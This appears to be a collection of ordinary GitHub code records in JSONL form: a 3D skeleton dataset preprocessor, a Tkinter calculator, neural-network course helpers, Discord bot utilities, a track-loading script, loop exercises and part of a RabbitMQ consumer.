download(self):\n pass\n\n def sample_on_bone(self, p_pos, ch_pos):\n ray = ch_pos - p_pos\n bone_length = np.sqrt(np.sum((p_pos - ch_pos) ** 2))\n num_step = np.round(bone_length / 0.01)\n i_step = np.arange(1, num_step + 1)\n unit_step = ray / (num_step + 1e-30)\n unit_step = np.repeat(unit_step[np.newaxis, :], num_step, axis=0)\n res = p_pos + unit_step * i_step[:, np.newaxis]\n return res\n\n def inside_check(self, pts, vox):\n vc = (pts - vox.translate) / vox.scale * vox.dims[0]\n vc = np.round(vc).astype(int)\n ind1 = np.logical_and(np.all(vc >= 0, axis=1), np.all(vc < vox.dims[0], axis=1))\n vc = np.clip(vc, 0, vox.dims[0]-1)\n ind2 = vox.data[vc[:, 0], vc[:, 1], vc[:, 2]]\n ind = np.logical_and(ind1, ind2)\n pts = pts[ind]\n return pts, np.argwhere(ind).squeeze()\n\n def process(self):\n data_list = []\n i = 0.0\n for v_filename in self.raw_paths:\n print('preprecessing data complete: {:.4f}%'.format(100 * i / len(self.raw_paths)))\n i += 1.0\n v = np.loadtxt(v_filename)\n m = np.loadtxt(v_filename.replace('_v.txt', '_attn.txt'))\n v = torch.from_numpy(v).float()\n m = torch.from_numpy(m).long()\n tpl_e = np.loadtxt(v_filename.replace('_v.txt', '_tpl_e.txt')).T\n geo_e = np.loadtxt(v_filename.replace('_v.txt', '_geo_e.txt')).T\n tpl_e = torch.from_numpy(tpl_e).long()\n geo_e = torch.from_numpy(geo_e).long()\n tpl_e, _ = add_self_loops(tpl_e, num_nodes=v.size(0))\n geo_e, _ = add_self_loops(geo_e, num_nodes=v.size(0))\n y = np.loadtxt(v_filename.replace('_v.txt', '_j.txt'))\n num_joint = len(y)\n joint_pos = y\n if len(y) < len(v):\n y = np.tile(y, (round(1.0 * len(v) / len(y) + 0.5), 1))\n y = y[:len(v), :]\n elif len(y) > len(v):\n y = y[:len(v), :]\n y = torch.from_numpy(y).float()\n\n adj = np.loadtxt(v_filename.replace('_v.txt', '_adj.txt'), dtype=np.uint8)\n\n vox_file = v_filename.replace('_v.txt', '.binvox')\n with open(vox_file, 'rb') as fvox:\n vox = binvox_rw.read_as_3d_array(fvox)\n pair_all = []\n for joint1_id in range(adj.shape[0]):\n for joint2_id in range(joint1_id + 1, adj.shape[1]):\n dist = np.linalg.norm(joint_pos[joint1_id] - joint_pos[joint2_id])\n bone_samples = self.sample_on_bone(joint_pos[joint1_id], joint_pos[joint2_id])\n bone_samples_inside, _ = self.inside_check(bone_samples, vox)\n outside_proportion = len(bone_samples_inside) / (len(bone_samples) + 1e-10)\n pair = np.array([joint1_id, joint2_id, dist, outside_proportion, adj[joint1_id, joint2_id]])\n pair_all.append(pair)\n pair_all = np.array(pair_all)\n pair_all = torch.from_numpy(pair_all).float()\n num_pair = len(pair_all)\n\n name = int(v_filename.split('/')[-1].split('_')[0])\n data_list.append(Data(x=v[:, 3:6], pos=v[:, 0:3], name=name, mask=m, y=y, num_joint=num_joint,\n tpl_edge_index=tpl_e, geo_edge_index=geo_e, pairs=pair_all, num_pair=num_pair))\n data, slices = self.collate(data_list)\n torch.save((data, slices), self.processed_paths[0])\n","repo_name":"tonightio/rigme","sub_path":"RigNet_master/datasets/skeleton_dataset.py","file_name":"skeleton_dataset.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"52"} +{"seq_id":"30709216225","text":"# !/usr/bin/python\n# -*- coding: utf-8 -*-\nimport math\nimport re\nfrom tkinter import *\n\n\ncal_state = False\n\ndef showText0():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '0')\n if tmp.get() is not '':\n tmp.insert(END, '0')\n\n\ndef showText1():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '1')\n if tmp.get() is not '':\n tmp.insert(END, '1')\n\ndef showText2():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '2')\n if tmp.get() is not '':\n tmp.insert(END, '2')\n\ndef showText3():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '3')\n if tmp.get() is not '':\n tmp.insert(END, '3')\n\ndef showText4():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '4')\n if tmp.get() is not '':\n tmp.insert(END, '4')\n\ndef showText5():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '5')\n if tmp.get() is not '':\n tmp.insert(END, '5')\n\ndef showText6():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '6')\n if tmp.get() is not '':\n tmp.insert(END, '6')\n\ndef showText7():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '7')\n if tmp.get() is not '':\n tmp.insert(END, '7')\n\ndef showText8():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '8')\n if tmp.get() is not '':\n tmp.insert(END, '8')\n\ndef showText9():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '9')\n if tmp.get() is not '':\n tmp.insert(END, '9')\n\ndef showTextP():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '.')\n if tmp.get() is not '':\n tmp.insert(END, '.')\n\ndef showTextPG():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, '(')\n if tmp.get() is not '':\n tmp.insert(END, '(')\n\ndef showTextPD():\n global entry, cal_state, tmp\n if cal_state is True:\n entry.delete(0, END)\n cal_state = False\n entry.insert(END, ')')\n if tmp.get() is not '':\n tmp.insert(END, ')')\n\ndef Addition():\n global entry, cal_state, tmp\n entry.insert(END, '+')\n cal_state = False\n if tmp.get() is not '':\n tmp.insert(END, '+')\n\ndef Soustraction():\n global entry, cal_state, tmp\n entry.insert(END, '-')\n cal_state = False\n if tmp.get() is not '':\n tmp.insert(END, '-')\n\ndef Multiplication():\n global entry, cal_state, tmp\n entry.insert(END, '*')\n cal_state = False\n if tmp.get() is not '':\n tmp.insert(END, '*')\n\ndef Division():\n global entry, cal_state, tmp\n entry.insert(END, '/')\n cal_state = False\n if tmp.get() is not '':\n tmp.insert(END, '/')\n\ndef Puissance():\n global entry, cal_state, tmp\n entry.insert(END, '^')\n cal_state = False\n if tmp.get() is not '':\n tmp.insert(END, '^')\n\ndef Sin():\n global entry, cal_state, tmp\n txt = entry.get()\n entry.delete(0, END)\n entry.insert(END, 'sin(' + txt + ')')\n tmp.insert(END, 'math.sin(math.radians(' + txt + '))')\n cal_state = False\n\ndef Cos():\n global entry, cal_state, tmp\n txt = entry.get()\n entry.delete(0, END)\n entry.insert(END, 'cos(' + txt + ')')\n tmp.insert(END, 'math.cos(math.radians(' + txt + '))')\n cal_state = False\n\ndef Tan():\n global entry, cal_state, tmp\n txt = entry.get()\n entry.delete(0, END)\n entry.insert(END, 'tan(' + txt + ')')\n tmp.insert(END, 'math.tan(math.radians(' + txt + '))')\n cal_state = False\n\ndef effaceDernierChiffre():\n global entry, cal_state, tmp\n entry.delete(len(entry.get())-1, END)\n tmp.delete(len(tmp.get()) - 1, END)\n cal_state = False\n\ndef effaceTous():\n global entry, cal_state, tmp\n entry.delete(0, END)\n tmp.delete(0, END)\n cal_state = False\n\ndef calculate():\n global result, x, y, entry, cal_state, textnote, L_Note,tmp\n txt = entry.get()\n indicator_list = [\"sin\", \"cos\",\"tan\"]\n try:\n if '^' in txt:\n txt = txt.replace('^', '**')\n result = eval(txt)\n elif any(indicator in txt for indicator in indicator_list):\n txt = tmp.get()\n result = eval(txt)\n else:\n result = eval(txt)\n entry.delete(0, END)\n entry.insert(0, result)\n cal_state = True\n L_Note.configure(text=\"\")\n tmp.delete(0, END)\n\n except SyntaxError:\n assert L_Note.configure(text = \"Syntax Error !!!\"), \"Syntax Error !!\"\n\n\n\n\nfenetre = Tk()\n\nfenetre.title('Calculatrice')\nsw = fenetre.winfo_screenwidth()\nsh = fenetre.winfo_screenheight()\nww = 400\nwh = 570\nx = (sw - ww) / 2\ny = (sh - wh) / 2\nfenetre.geometry(\"%dx%d+%d+%d\" % (ww, wh, x, y))\nfenetre.resizable(0,0)\n\nmenuBar = Menu(fenetre)\nmenu = Menu(menuBar)\nfor item in ['Aide', 'Mode Basique', 'Mode Scientifique']:\n menu.add_command(label = item)\nmenuBar.add_cascade(label = \"Menu\", menu = menu)\nfenetre['menu'] = menuBar\n\n\n\nentry = Entry(fenetre, font=(20), bg=('grey'))\ntmp = Entry(fenetre)\nentry.grid(row = 0, column = 1, columnspan = 5, ipadx = 110, ipady = 10)\nB_Puissance = Button(fenetre, text='^', width = 10, height = 5, command = Puissance).grid(row = 1, column = 1)\nB_sin = Button(fenetre, text='sin', width = 10, height = 5, command = Sin).grid(row = 1, column = 2)\nB_cos = Button(fenetre, text='cos', width = 10, height = 5, command = Cos).grid(row = 1, column = 3)\nB_tan = Button(fenetre, text='tan', width = 10, height = 5, command = Tan).grid(row = 1, column = 4)\nB_1 = Button(fenetre, text='1', width = 10, height = 5, command = showText1).grid(row = 2, column = 1)\nB_2 = Button(fenetre, text='2', width = 10, height = 5, command = showText2).grid(row = 2, column = 2)\nB_3 = Button(fenetre, text='3', width = 10, height = 5, command = showText3).grid(row = 2, column = 3)\nB_4 = Button(fenetre, text='4', width = 10, height = 5, command = showText4).grid(row = 3, column = 1)\nB_5 = Button(fenetre, text='5', width = 10, height = 5, command = showText5).grid(row = 3, column = 2)\nB_6 = Button(fenetre, text='6', width = 10, height = 5, command = showText6).grid(row = 3, column = 3)\nB_7 = Button(fenetre, text='7', width = 10, height = 5, command = showText7).grid(row = 4, column = 1)\nB_8 = Button(fenetre, text='8', width = 10, height = 5, command = showText8).grid(row = 4, column = 2)\nB_9 = Button(fenetre, text='9', width = 10, height = 5, command = showText9).grid(row = 4, column = 3)\nB_0 = Button(fenetre, text='0', width = 10, height = 5, command = showText0).grid(row = 5, column = 1)\nB_P = Button(fenetre, text='.', width = 10, height = 5, command = showTextP).grid(row = 5, column = 2)\nB_E = Button(fenetre, text='=', width = 10, height = 5, command = calculate).grid(row = 5, column = 5)\nB_AC = Button(fenetre, text='AC', width = 10, height = 5, command = effaceTous).grid(row = 2, column = 5)\nB_PG = Button(fenetre, text='(', width = 10, height = 5, command = showTextPG).grid(row = 5, column = 3)\nB_PD = Button(fenetre, text=')', width = 10, height = 5, command = showTextPD).grid(row = 5, column = 4)\nB_C = Button(fenetre, text='C', width = 10, height = 5, command = effaceDernierChiffre).grid(row = 3, column = 5)\nB_Plus = Button(fenetre, text='+', width = 10, height = 5, command = Addition).grid(row = 2, column = 4)\nB_Moins = Button(fenetre, text='-', width = 10, height = 5, command = Soustraction).grid(row = 3, column = 4)\nB_Multiple = Button(fenetre, text='*', width = 10, height = 5, command = Multiplication).grid(row = 4, column = 4)\nB_Division = Button(fenetre, text='/', width = 10, height = 5, command = Division).grid(row = 4, column = 5)\nL_Note = Label(fenetre)\nL_Note.grid(row=6, column=1, columnspan=5)\n\nfenetre.mainloop()\n","repo_name":"GuoJulie/Python_TP","sub_path":"TP2_Tkinter_Calculatrice/Calculatrice.py","file_name":"Calculatrice.py","file_ext":"py","file_size_in_byte":8470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72545230246","text":"\"\"\"\nHelper functions used in Project 2\n\"\"\"\nimport torch\nimport torchvision\nimport matplotlib.pyplot as plt\nimport random\nimport math\n\n\ndef hello_helper():\n \"\"\"\n This is a sample function that we will try to import and run to ensure that\n our environment is correctly set up on Google Colab.\n \"\"\"\n print(\"Hello from p2_helpers.py!\")\n \n \ndef reset_seed(number):\n \"\"\"\n Reset random seed to the specific number\n\n Inputs:\n - number: A seed number to use\n \"\"\"\n random.seed(number)\n torch.manual_seed(number)\n return\n\n\n\ndef get_toy_data(\n num_inputs=5,\n input_size=4,\n hidden_size=10,\n num_classes=3,\n dtype=torch.float32,\n device=\"cuda\",\n):\n \"\"\"\n Get toy data for use when developing a two-layer-net.\n\n Inputs:\n - num_inputs: Integer N giving the data set size\n - input_size: Integer D giving the dimension of input data\n - hidden_size: Integer H giving the number of hidden units in the model\n - num_classes: Integer C giving the number of categories\n - dtype: torch datatype for all returned data\n - device: device on which the output tensors will reside\n\n Returns a tuple of:\n - toy_X: `dtype` tensor of shape (N, D) giving data points\n - toy_y: int64 tensor of shape (N,) giving labels, where each element is an\n integer in the range [0, C)\n - params: A dictionary of toy model parameters, with keys:\n - 'W1': `dtype` tensor of shape (D, H) giving first-layer weights\n - 'b1': `dtype` tensor of shape (H,) giving first-layer biases\n - 'W2': `dtype` tensor of shape (H, C) giving second-layer weights\n - 'b2': `dtype` tensor of shape (C,) giving second-layer biases\n \"\"\"\n N = num_inputs\n D = input_size\n H = hidden_size\n C = num_classes\n\n # We set the random seed for repeatable experiments.\n reset_seed(0)\n\n # Generate some random parameters, storing them in a dict\n params = {}\n params[\"W1\"] = 1e-4 * torch.randn(D, H, device=device, dtype=dtype)\n params[\"b1\"] = torch.zeros(H, device=device, dtype=dtype)\n params[\"W2\"] = 1e-4 * torch.randn(H, C, device=device, dtype=dtype)\n params[\"b2\"] = torch.zeros(C, device=device, dtype=dtype)\n\n # Generate some random inputs and labels\n toy_X = 10.0 * torch.randn(N, D, device=device, dtype=dtype)\n toy_y = torch.tensor([0, 1, 2, 2, 1], device=device, dtype=torch.int64)\n\n return toy_X, toy_y, params\n\n\n################# Visualizations #################\n\n\ndef plot_stats(stat_dict):\n # Plot the loss function and train / validation accuracies\n plt.subplot(1, 2, 1)\n plt.plot(stat_dict[\"loss_history\"], \"o\")\n plt.title(\"Loss history\")\n plt.xlabel(\"Iteration\")\n plt.ylabel(\"Loss\")\n\n plt.subplot(1, 2, 2)\n plt.plot(stat_dict[\"train_acc_history\"], \"o-\", label=\"train\")\n plt.plot(stat_dict[\"val_acc_history\"], \"o-\", label=\"val\")\n plt.title(\"Classification accuracy history\")\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Clasification accuracy\")\n plt.legend()\n\n plt.gcf().set_size_inches(14, 4)\n plt.show()\n\n\ndef visualize_grid(Xs, ubound=255.0, padding=1):\n \"\"\"\n Reshape a 4D tensor of image data to a grid for easy visualization.\n\n Inputs:\n - Xs: Data of shape (N, H, W, C)\n - ubound: Output grid will have values scaled to the range [0, ubound]\n - padding: The number of blank pixels between elements of the grid\n \"\"\"\n (N, H, W, C) = Xs.shape\n # print(Xs.shape)\n grid_size = int(math.ceil(math.sqrt(N)))\n grid_height = H * grid_size + padding * (grid_size - 1)\n grid_width = W * grid_size + padding * (grid_size - 1)\n grid = torch.zeros((grid_height, grid_width, C), device=Xs.device)\n next_idx = 0\n y0, y1 = 0, H\n for y in range(grid_size):\n x0, x1 = 0, W\n for x in range(grid_size):\n if next_idx < N:\n img = Xs[next_idx]\n low, high = torch.min(img), torch.max(img)\n grid[y0:y1, x0:x1] = ubound * (img - low) / (high - low)\n next_idx += 1\n x0 += W + padding\n x1 += W + padding\n y0 += H + padding\n y1 += H + padding\n return grid\n\n\n# Visualize the weights of the network\ndef show_net_weights(net):\n W1 = net.params[\"W1\"]\n W1 = W1.reshape(3, 32, 32, -1).transpose(0, 3)\n plt.imshow(visualize_grid(W1, padding=3).type(torch.uint8).cpu())\n plt.gca().axis(\"off\")\n plt.show()\n\n\ndef plot_acc_curves(stat_dict):\n plt.subplot(1, 2, 1)\n for key, single_stats in stat_dict.items():\n plt.plot(single_stats[\"train_acc_history\"], label=str(key))\n plt.title(\"Train accuracy history\")\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Clasification accuracy\")\n\n plt.subplot(1, 2, 2)\n for key, single_stats in stat_dict.items():\n plt.plot(single_stats[\"val_acc_history\"], label=str(key))\n plt.title(\"Validation accuracy history\")\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Clasification accuracy\")\n plt.legend()\n\n plt.gcf().set_size_inches(14, 5)\n plt.show()\n\n\ndef sample_batch(\n X: torch.Tensor, y: torch.Tensor, num_train: int, batch_size: int\n):\n \"\"\"\n Sample batch_size elements from the training data and their\n corresponding labels to use in this round of gradient descent.\n \"\"\"\n batch = torch.randint(num_train, (batch_size, ))\n X_batch = X[batch]\n y_batch = y[batch]\n return X_batch, y_batch\n\n\ndef svm_loss(x, y):\n \"\"\"\n Computes the loss and gradient using for multiclass SVM classification.\n Inputs:\n - x: Input data, of shape (N, C) where x[i, j] is the score for the jth\n class for the ith input.\n - y: Vector of labels, of shape (N,) where y[i] is the label for x[i] and\n 0 <= y[i] < C\n Returns a tuple of:\n - loss: Scalar giving the loss\n - dx: Gradient of the loss with respect to x\n \"\"\"\n loss = None\n dx = torch.zeros_like(x)\n \n #####################################################\n # TODO: Implement the SVM loss function. #\n #####################################################\n # Replace \"pass\" statement with your code\n N = x.shape[0]\n correct_class_scores = x[torch.arange(N), y]\n margins = (x - correct_class_scores[:, None] + 1.0).clamp(min=0.)\n margins[torch.arange(N), y] = 0.\n loss = margins.sum() / N\n num_pos = (margins > 0).sum(dim=1)\n \n dx[margins > 0] = 1.\n dx[torch.arange(N), y] -= num_pos.to(dx.dtype)\n dx /= N\n #####################################################\n # END OF YOUR CODE #\n #####################################################\n \n return loss, dx\n\n\ndef softmax_loss(x, y):\n \"\"\"\n Computes the loss and gradient for softmax classification.\n Inputs:\n - x: Input data, of shape (N, C) where x[i, j] is the score for\n the jth class for the ith input.\n - y: Vector of labels, of shape (N,) where y[i] is the label\n for x[i] and 0 <= y[i] < C\n Returns a tuple of:\n - loss: Scalar giving the loss\n - dx: Gradient of the loss with respect to x\n \"\"\"\n loss = None\n dx = torch.zeros_like(x)\n \n #####################################################\n # TODO: Implement the softmax loss function. #\n #####################################################\n # Replace \"pass\" statement with your code\n shifted_logits = x - x.max(dim=1, keepdim=True).values\n Z = shifted_logits.exp().sum(dim=1, keepdim=True)\n log_probs = shifted_logits - Z.log()\n probs = log_probs.exp()\n N = x.shape[0]\n loss = (-1.0 / N) * log_probs[torch.arange(N), y].sum()\n dx = probs.clone()\n dx[torch.arange(N), y] -= 1\n dx /= N\n #####################################################\n # END OF YOUR CODE #\n #####################################################\n \n return loss, dx\n","repo_name":"TomWang233/UMich_DeepRob","sub_path":"P2/rob599/p2_helpers.py","file_name":"p2_helpers.py","file_ext":"py","file_size_in_byte":7844,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"18924560254","text":"from typing import Dict\n\nfrom redbot.core import commands\n\nfrom ._tagscript import TagError\n\n\nclass TagScriptConverter(commands.Converter[str]):\n async def convert(self, ctx: commands.GuildContext, argument: str) -> str:\n try:\n await ctx.cog._validate_tagscript(argument) # type: ignore\n except TagError as e:\n raise commands.BadArgument(str(e))\n return argument\n\n\nclass TimeConverter(commands.Converter[int]):\n async def convert(self, ctx: commands.Context, argument: str) -> int:\n conversions: Dict[str, int] = {\n \"s\": 1,\n \"m\": 60,\n \"h\": 3600,\n \"d\": 86400,\n \"w\": 604800,\n \"mo\": 604800 * 30,\n }\n if str(argument[-1]) not in conversions:\n if not str(argument).isdigit():\n raise commands.BadArgument(\n f\"Unable to convert {argument} to a time.\",\n )\n return int(argument)\n\n multiplier = conversions[str(argument[-1])]\n argument = argument[:-1]\n\n if not str(argument).isdigit():\n raise commands.BadArgument(\n f\"Unable to convert {argument} to a time.\",\n )\n if int(argument) * multiplier <= 0:\n raise commands.BadArgument(\n \"You cannot have a time less than 0.\",\n )\n\n return int(argument) * multiplier\n\n\nclass BanLengthConverter(commands.Converter[int]):\n async def convert(self, ctx: commands.Context, argument: str) -> int:\n if not argument.isnumeric():\n raise commands.BadArgument(\n \"Please enter a valid time length.\",\n )\n elif int(argument) < 1:\n raise commands.BadArgument(\n \"You cannot set the time length to anything less than 1 day.\",\n )\n elif int(argument) > 7:\n raise commands.BadArgument(\n \"You cannot set the time length to anything greater than 7 days.\"\n )\n return int(argument)\n","repo_name":"japandotorg/Seina-Cogs","sub_path":"freeloadermode/converters.py","file_name":"converters.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"36515858295","text":"from abc import ABCMeta, abstractmethod\nfrom typing import Generator, List\n\nfrom . import bot\nfrom discord import Embed, Message\nfrom enum import Enum, auto\n\n\nclass PageEntry(metaclass=ABCMeta):\n @abstractmethod\n def title(self) -> str:\n pass\n\n @abstractmethod\n def to_message(self) -> str:\n pass\n\n\nclass PageActionResult(Enum):\n PREVIOUS_PAGE = auto()\n NEXT_PAGE = auto()\n CANCEL = auto()\n\n @staticmethod\n def get_result(emoji):\n if emoji.name == Page.PREVIOUS_PAGE_EMOJI:\n return PageActionResult.PREVIOUS_PAGE\n if emoji.name == Page.NEXT_PAGE_EMOJI:\n return PageActionResult.NEXT_PAGE\n return PageActionResult.CANCEL\n\n\nclass Page:\n PREVIOUS_PAGE_EMOJI = \"\\U00002B05\"\n NEXT_PAGE_EMOJI = \"\\U000027A1\"\n CANCEL_EMOJI = \"\\U0000274E\"\n\n def __init__(self, size: int, generator: Generator) -> None:\n self.__size = size\n self.__page = 1\n self.__max_page_reached = False\n self.__max_page_size = 0\n self.__generator = generator\n self.__entries: List[PageEntry] = []\n\n async def __add_reaction(self, message, emoji):\n try:\n await message.add_reaction(emoji)\n except: pass\n\n async def __remove_reaction(self, message, emoji, user=None):\n try:\n await message.remove_reaction(emoji, user if user is not None else bot.user)\n except: pass\n\n async def __cancel(self, message: Message):\n try:\n await message.clear_reactions()\n except:\n await self.__remove_reaction(message, self.PREVIOUS_PAGE_EMOJI)\n await self.__remove_reaction(message, self.CANCEL_EMOJI)\n await self.__remove_reaction(message, self.NEXT_PAGE_EMOJI)\n\n async def __handle_pages(self, message, channel, embed, user) -> PageActionResult:\n edit = True\n while True:\n if edit:\n for entry in self.__entries[(self.__page - 1) * self.__size:min(self.__page * self.__size,len(self.__entries))]:\n embed.add_field(name=entry.title(), value=entry.to_message(), inline=False)\n await message.edit(embed=embed)\n # await self.__cancel(message)\n # if self.show_previous_page:\n # await self.__add_reaction(message, self.PREVIOUS_PAGE_EMOJI)\n # await self.__add_reaction(message, self.CANCEL_EMOJI)\n # if self.show_next_page:\n # await self.__add_reaction(message, self.NEXT_PAGE_EMOJI)\n payload = await bot.wait_for(\"raw_reaction_add\", check=lambda x: (x.guild_id is None and x.user_id == user.id) or (x.guild_id is not None and x.channel_id == channel.id and not x.member.bot and x.member == user))\n action = PageActionResult.get_result(payload.emoji)\n if action == PageActionResult.CANCEL:\n await self.__cancel(message)\n return action\n if action == PageActionResult.NEXT_PAGE:\n await self.__remove_reaction(message, self.NEXT_PAGE_EMOJI, user)\n if self.show_next_page:\n self.__page += 1\n embed.clear_fields()\n edit = True\n else:\n edit = False\n elif action == PageActionResult.PREVIOUS_PAGE:\n await self.__remove_reaction(message, self.PREVIOUS_PAGE_EMOJI, user)\n if self.show_previous_page:\n self.__page -= 1\n embed.clear_fields()\n edit = True\n else:\n edit = False\n if self.__page * self.__size > len(self.__entries) and edit:\n return PageActionResult.NEXT_PAGE\n\n async def show(self, ctx, title: str, colour):\n channel = ctx.message.channel\n message: Message = None\n embed = Embed(title=title, colour=colour)\n embed.set_footer(text=\"Made by CJMinecraft\")\n # While generating the results\n for result in self.__generator:\n self.__entries.append(result)\n embed.add_field(name=result.title(), value=result.to_message(), inline=False)\n if len(self.__entries) % (self.__size * self.__page) == 0:\n if message is None:\n # Will only happen once when the data is being generated\n message = await ctx.send(embed=embed)\n await self.__add_reaction(message, self.PREVIOUS_PAGE_EMOJI)\n await self.__add_reaction(message, self.CANCEL_EMOJI)\n await self.__add_reaction(message, self.NEXT_PAGE_EMOJI)\n else:\n await message.edit(embed=embed)\n # await self.__cancel(message)\n # if self.show_previous_page:\n # await self.__add_reaction(message, self.PREVIOUS_PAGE_EMOJI)\n # await self.__add_reaction(message, self.CANCEL_EMOJI)\n # if self.show_next_page:\n # await self.__add_reaction(message, self.NEXT_PAGE_EMOJI)\n while True:\n payload = await bot.wait_for(\"raw_reaction_add\", check=lambda x: (x.guild_id is None and x.user_id == ctx.message.author.id) or (x.guild_id is not None and x.channel_id == channel.id and not x.member.bot and x.member == ctx.message.author))\n action = PageActionResult.get_result(payload.emoji)\n if action == PageActionResult.CANCEL:\n await self.__cancel(message)\n return\n if action == PageActionResult.NEXT_PAGE:\n await self.__remove_reaction(message, self.NEXT_PAGE_EMOJI, ctx.message.author)\n if self.show_next_page:\n self.__page += 1\n embed.clear_fields()\n break\n elif action == PageActionResult.PREVIOUS_PAGE:\n await self.__remove_reaction(message, self.PREVIOUS_PAGE_EMOJI, ctx.message.author)\n if self.show_previous_page:\n self.__page -= 1\n embed.clear_fields()\n if await self.__handle_pages(message, channel, embed, ctx.message.author) == PageActionResult.CANCEL:\n return\n break\n\n if message is None:\n if len(embed.fields) == 0:\n embed.description = \"No results found\"\n # Must not be enough results to fill one page\n await ctx.send(embed=embed)\n else:\n # await message.edit(embed=embed)\n # await self.__cancel(message)\n self.__max_page_reached = True\n self.__max_page_size = self.__page\n embed.clear_fields()\n await self.__add_reaction(message, self.PREVIOUS_PAGE_EMOJI)\n await self.__add_reaction(message, self.CANCEL_EMOJI)\n await self.__handle_pages(message, channel, embed, ctx.message.author)\n\n @property\n def show_previous_page(self):\n return self.__page > 1\n\n @property\n def show_next_page(self):\n return not self.__max_page_reached or self.__page < self.__max_page_size\n\n @property\n def size(self):\n return self.__size\n","repo_name":"CJMinecraft01/CJBot","sub_path":"bot/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":7438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36733371523","text":"from Pagoda import PagodaClass\nfrom AVL_Tree_Implementation import AVLTree\nimport csv\nimport string \nimport time\nfrom memory_profiler import profile\n#import matplotlib.pyplot as plt\n\nclass Track:\n def __init__(self, Artist: string, Url_spotify: string, Name: string, Album: string, Tempo: int, Url_Youtube: string, Youtubeviews: int, Likes: int, Spotifystreams: int):\n self.Artist=Artist\n self.Name=Name\n self.Album=Album\n self.Tempo=Tempo\n self.Url_Youtube=Url_Youtube\n self.Url_Spotify=Url_spotify\n self.Likes=Likes\n self.YoutubeViews=Youtubeviews\n self.Spotifyviews=Spotifystreams\n self.left=None \n self.right=None\n\nTrackarchive=[]\n\nwith open(\"./Spotify and Youtube.csv\", 'r',encoding=\"utf8\") as file:\n csvreader = csv.reader(file)\n c = 0\n for row in csvreader:\n \n if c == 0 or row[7] == '':\n c+=1\n continue\n obj = Track(row[1],row[2],row[3],row[4],row[5],row[6],int(row[7]),row[8],row[9])\n c+=1\n Trackarchive.append(obj)\n\n # for line in file:\n # data.append(line.strip().split(\",\"))\n\n# startA=time.time()\n# avl_tree = AVLTree()\n# root = None\n# for row in data:\n# root = avl_tree.insert_node(root, row)\n# endA=time.time()\n# print(avl_tree.root)\n# # Print the tree\n# avl_tree.printHelper(root, \"\", True)\n\nstart=time.time()\nPagodaTree=PagodaClass()\nfor i in Trackarchive:\n PagodaTree.insert(i)\nend = time.time()\n\ntime_n=end-start\n# time_l=endA-startA\n\nprint(PagodaTree.root.trackobj.Name)\nprint(PagodaTree.root.trackobj.Artist)\n\nprint(time_n)\n# print(time_l)\n","repo_name":"Ur07589/DS-II-Pagoda-Project","sub_path":"src/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40743475566","text":"# x = int(input(\"enter the last number \"))\r\n# a = 1\r\n# while(x > 0) :\r\n# a = a * x\r\n# x = x - 1\r\n# else : \r\n# print(\"the factorial of x is \",a)\r\n \r\n# # /*Do-WHile\r\n# i = 0\r\n# while True :\r\n# print(i)\r\n# i = i + 1\r\n# if(i % 50 == 0) :\r\n# break\r\n# # Do while\r\n# s = 0\r\n# do : print(i)\r\n# i = i+ 1\r\n# while(i < 15):\r\n\r\n# defining list of strings\r\nlist1 = [\"geeksforgeeks\", \"C++\",\r\n\t\t\"Java\", \"Python\", \"C\", \"MachineLearning\"]\r\n\r\n# initialises a variable\r\ni = 0\r\n\r\nprint(\"Printing list items\\\r\nusing while loop\")\r\nsize = len(list1)\r\n# Implement while loop to print list items\r\nwhile(i < size):\r\n\tprint(list1[i])\r\n\ti = i+1\r\n\r\ni = 0\r\n\r\nprint(\"Printing list items\\\r\nusing do while loop\")\r\n\r\n# Implement do while loop to print list items\r\nwhile(True):\r\n\tprint(list1[i])\r\n\ti = i+1\r\n\tif(i < size and len(list1[i]) < 10):\r\n\t\tcontinue\r\n\telse:\r\n\t\tbreak\r\n","repo_name":"Vivekkumar121/Python","sub_path":"Basic/18 while .py","file_name":"18 while .py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29098815451","text":"from types import SimpleNamespace\nimport pika\nimport json\nfrom db_and_event_definitions import ParkingEvent, BillingEvent, customers_database as db\nimport time\nimport logging\n\nfrom xprint import xprint\n\n\nclass CustomerEventConsumer:\n\n def __init__(self, customer_id):\n # Do not edit the init method.\n # Set the variables appropriately in the methods below.\n self.customer_id = customer_id\n self.connection = None\n self.channel = None\n 